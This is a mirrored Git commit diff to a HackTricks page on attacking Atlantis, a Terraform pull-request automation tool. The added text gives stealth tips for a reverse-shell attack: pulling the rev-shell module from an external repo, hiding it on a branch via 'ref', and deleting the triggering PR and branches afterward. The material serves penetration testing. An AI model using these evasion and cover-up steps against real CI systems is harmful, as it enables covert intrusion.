Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2025-02-16 14:08:26 +00:00
Code Issues Projects Releases Packages Wiki Activity

GitBook: [#3119] No subject

Browse source
This commit is contained in:
CPol 2022-04-21 12:43:42 +00:00 • committed by gitbook-bot
parent 29ccb22f02
commit ca02b131be
No known key found for this signature in database
GPG key ID: 07D2180C7B12D0FF
1 changed files with 8 additions and 3 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

11
cloud-security/atlantis.md
View file

@ -189,7 +189,11 @@ data "external" "example" {
}
```
You can perform this attack even in a **more stealth way**, instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
#### Stealthier Attack
You can perform this attack even in a **stealthier way**, by following this suggestions:
* Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
```javascript
module "not_rev_shell" {
@ -199,7 +203,8 @@ module "not_rev_shell" {
You can find the rev shell code in [https://github.com/carlospolop/terraform\_external\_module\_rev\_shell/tree/main/modules](https://github.com/carlospolop/terraform\_external\_module\_rev\_shell/tree/main/modules)
For an even **more stealth attack** you can use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
* In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
* **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
### Atlantis apply RCE - Config modification in new PR
@ -231,7 +236,7 @@ resource "null_resource" "rev_shell" {
}
```
As in the previous exploitation technique you could probably **load an external resource instead of writing the malicious payload** directly in the terraform file.
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
### Terraform Param Injection